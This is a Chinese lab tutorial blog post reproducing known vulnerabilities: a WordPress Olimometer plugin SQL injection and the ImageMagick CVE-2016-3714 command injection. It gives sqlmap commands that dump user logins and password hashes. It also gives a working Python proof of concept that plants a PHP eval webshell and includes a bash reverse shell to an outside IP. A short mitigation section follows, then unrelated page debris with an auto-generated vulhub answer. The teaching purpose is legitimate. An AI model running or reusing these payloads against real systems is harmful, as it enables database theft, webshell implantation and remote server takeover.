常见热门漏洞复现与分析(1)

实验内容


WordPress(SQL)

WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。它拥有世界上最强大的插件和模板,这也是WordPress非常流行的一个特性。它有数万中插件,供我们来使用包括SEO,控件等等,囊括了几乎所有互联网上可以实现的功能。

本次的漏洞就产生在一个插件上:Olimometer

Olimometer

这个插件是一个完全可定制的筹款温度计,可以显示当前进度的进度条,它可以自定义的皮肤和有多种不同的样式,而插件目录一般安装在wp_content\plugins下,如图:

漏洞介绍

在WordPress中,Olimometer插件在<=2.56版本存在SQL注入,恶意访问者可以通过SQL注入获取网站敏感信息。

影响范围

Olimometer<= 2.56

漏洞危害

恶意访问者可以利用Sql注入,从而获取WordPress网站的后台管理密码,有可能直接得到网站WebShell,甚至危害到服务器的安全

漏洞成因

首先打开文件

我们首先打开操作机,进入文件夹C:/www/ichunqiu/wp_content/plugins可以看到一个文件夹olimometer,这个文件夹是之前从官网下载的olimometer插件包。

我们进入文件夹,看到thermometer.php文件,点击右键使用notepad++打开,如下:

此处传入的参数没有进行过滤,故存在SQL注入漏洞

先构造地址

http://172.16.11.2/ichunqiu/wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1

然后payload

sqlmap.py -u http://172.16.11.2/ichunqiu/wp-content
/plugins/olimometer-master/thermometer.php?olimometer_id=1 
--dbs --threads=9 
  • 9代表最高的线程,速度会更快,因为我们是在本地测试,为了实验效率,将线程设置为9,但在真实的环境中,一般设置为3,或者默认即可,因此线程越大,被安全软件封杀的几率越高。

出库

 爆破wordpess数据库的表名

sqlmap.py -u http://172.16.11.2/ichunqiu/
wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1 
--dbs  --threads=9  -D wordpress --tables

出表

爆列名

sqlmap.py -u http://172.16.11.2/ichunqiu/
wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1 
--dbs  --threads=9  -D wordpress -T wp_users --columns

 

 最后爆字段名

sqlmap.py -u http://172.16.11.2/ichunqiu/
wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1 
--dbs  --threads=9  -D wordpress -T wp_users -C user_login,user_pass --dump
//将wp_users列中,user_login,user_pass 两个字段下载,并显示到屏幕

总结:主要SQLMAP使用(讲解)

sqlmap.py -u                 -u意思是url  后面要添加一个url

http://172.16.11.2/ichunqiu/wp-content/plugins/olimometer-master/thermometer.php?olimometer_id=1              URL
--dbs  --threads=9                        --dbs表示爆破库名,--thread表示线程为9

-D wordpress                               -D表示选择database,后面加要爆破的数据库

-T wp_users                                 -T表示table,后面要加爆破的表

-C user_login,user_pass              -C表示column,后面要加列名

--dump                                         --dump表示下载下来

-------------------------------------------------------------------------------------------

PHPMmailer < 5.2.18远程代码执行漏洞

------------------------------------------------------------------------------------------

ImageMagick 命令执行漏洞

漏洞介绍

ImageMagick官方披露称,目前程序存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有可利用的代码时,可被远程执行任意代码,进而可能控制服务器

影响范围

ImageMagick <= 6.9.3-9

漏洞危害

成功利用该漏洞后,恶意访问者可以远程任意代码执行,在本次演示中,恶意访问者可以执行EXP在网站根目录写入一句话木马,直接拿到WebShell

了解漏洞原理

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。

我们在ImageMagick的默认配置文件里可以看到所有的委托: /etc/ImageMagick/delegates.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE delegatemap [
<!ELEMENT delegatemap (delegate)+>
<!ELEMENT delegate (#PCDATA)>
<!ATTLIST delegate decode CDATA #IMPLIED>
<!ATTLIST delegate encode CDATA #IMPLIED>
<!ATTLIST delegate mode CDATA #IMPLIED>
<!ATTLIST delegate spawn CDATA #IMPLIED>
<!ATTLIST delegate stealth CDATA #IMPLIED>
<!ATTLIST delegate thread-support CDATA #IMPLIED>
<!ATTLIST delegate command CDATA #REQUIRED>
]>
<!--
  Delegate command file.

  Commands which specify

    decode="in_format" encode="out_format"

  specify the rules for converting from in_format to out_format These
  rules may be used to translate directly between formats.

  Commands which specify only

    decode="in_format"

  specify the rules for converting from in_format to some format that
  ImageMagick will automatically recognize. These rules are used to
  decode formats.

  Commands which specify only

   encode="out_format"

  specify the rules for an "encoder" which may accept any input format.

  For delegates other than ps:*, pcl:*, and mpeg:* the substitution rules are
  as follows:

    %i  input image filename
    %o  output image filename
    %u  unique temporary filename
    %Z  unique temporary filename
    %#  input image signature
    %b  image file size
    %c  input image comment
    %g  image geometry
    %h  image rows (height)
    %k  input image number colors
    %l  image label
    %m  input image format
    %p  page number
    %q  input image depth
    %s  scene number
    %w  image columns (width)
    %x  input image x resolution
    %y  input image y resolution
 <delegate decode="txt" encode="ps" mode="bi" command=""enscript" -o "%o" "%i""/>
  <delegate decode="miff" encode="win" stealth="True" spawn="True" command=""/usr/bin/display" -immutable -delay 0 -window-group %[group] -title "%l " "ephemeral:%i""/>
  <delegate decode="wmf" command=""wmf2eps" -o "%o" "%i""/>
  <delegate decode="xps:color" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=ppmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
  <delegate decode="xps:cmyk" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=bmpsep8" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
  <delegate decode="xps:mono" stealth="True" command=""gxps" -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pbmraw" -dTextAlphaBits=%u -dGraphicsAlphaBits=%u "-r%s" %s "-sOutputFile=%s" "%s""/>
</delegatemap>

我们可以看到,这里它定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息。而在后面command的位置,%i和%l等占位符被拼接在命令行中。这个漏洞也因此而来,被拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。

漏洞报告中给出的POC是利用了如下的这个委托:

<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>

它在解析https图片的时候,使用了curl命令将其下载,我们看到%M被直接放在curl的最后一个参数内。ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,而这其中就可以包含https处理过程。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在后面闭合双引号,写入自己要执行的命令。

这样,ImageMagick在正常执行图片转换、处理的时候就会触发漏洞

本实验中已经构造好了POC文件,同学们可以阅读POC内容,并执行它,来实践和验证我们之前的理论。

进行复现过程

首先使用user 、123456的账号登录,然后切换到高权限用户,使用命令:

sudo su   //切换用户 
123456   //当前用户密码

下面查看Docker当前有哪些可用的镜像,使用命令:

docker images   //查看Docker当前已加载的镜像

 启动镜像

docker run --name=wangxinyu -p 8080:80 -itd 3a52e631fa88 /bin/bash

  • -p 表示port8080:80前者为默认的本地(127.0.0.1)端口,后者为镜像的端口
  • --name 表示制定临时名称
  • -itd 表示镜像在后台运行

然后进入镜像来启动apache服务,因为必须启动apache服务,网页才能正常的访问,使用命令:

docker exec -it wangxinyu  /bin/bash  //进入临时名为wangxinyu的镜像操作
service apache2 start     // 启动http服务

 启动完成之后,可以使用如下命令来查看是否启动成功

service apache2 status    //查看服务状态

然后exit

查看文件

执行poc

python poc.py

 

 这时候回显生成Shell,我们进入文件夹查看一下shell

我们再进入docker镜像里,查看是否真的写入了一句话文件,使用命令:

docker exec -it wangxinyu  /bin/bash 

cd /var/www/html/

cat shell.php

 

生成了一句话后门shell

 漏洞反思与总结

先查看一下poc

python
#!/usr/bin/env python
# coding:utf-8

import requests
import base64


def doPost(url, data):
    post_data = {"img": base64.b64encode(data)}
    try:
        requests.post(url + "/poc.php", data=post_data, timeout=1)
    except:
        pass


# 写 webshell
def writeshell(url):
    writeshell = '''push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'ant\\']);?>\\' > shell.php")'
pop graphic-context
'''
    doPost(url, writeshell)
    resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
    if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
        print "WebShell: " + url + "shell.php"

def reverse_shell(url):    
    reverse_shell = """push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")'
pop graphic-context"""

    # 反弹 shell
    doPost(url, reverse_shell)

if __name__ == '__main__':
    # 写 webshell
    writeshell("http://172.16.11.2:8080/")
    # 反弹 shell
    # reverse_shell("http://127.0.0.1:8000/")

实验分析与总结

修复

使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

emlog博客系统后台权限提升漏洞

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
vulhub漏洞,你可以按照以下步骤进行操作: 1. 首先,你需要下载vulhub。你可以在vulhub的官方网站(https://vulhub.org)上找到下载链接,或者在GitHub上(https://github.com/vulhub/vulhub/)下载。 2. 下载并安装vulhub后,进入vulhub的docker目录中的unauthorized-rce环境。你可以使用以下命令进入该目录: ``` cd /vulhub/docker/unauthorized-rce ``` 3. 接下来,你可以参考一些博客或文章中的指导来相应的漏洞。例如,你可以参考@Camelus的博客中关于Spring RCE漏洞CVE-2022-22965的分析(链接:https://blog.csdn.net/Camelus/article/details/125401858)。 4. 在之前,你可以使用nmap进行扫描,以发目标IP和端口。这将帮助你确定你要攻击的目标。 5. 通过浏览器访问目标IP和端口后,你可以观察到页面的响应。这将是你进行攻击的起点。 6. 根据网络上对该漏洞的介绍,你可以使用Burp Suite等工具抓包,并在请求中将host字段设置为空,然后输入相应的绝对路径来发送数据包。这将触发相应的漏洞。 请注意,漏洞是一项敏感工作,需要获得授权并遵守法律和道德规范。在进行任何安全测试之前,请确保获得合法的许可,并且只在授权的范围内进行操作。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vluhub之docker-unauthoriun-rce](https://blog.csdn.net/weixin_45006525/article/details/119481469)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [vluhub漏洞笔记:CVE-2022-22965:Spring Framework](https://blog.csdn.net/weixin_46497491/article/details/128951211)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [vulhub中漏洞1](https://blog.csdn.net/xhscxj/article/details/124895968)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值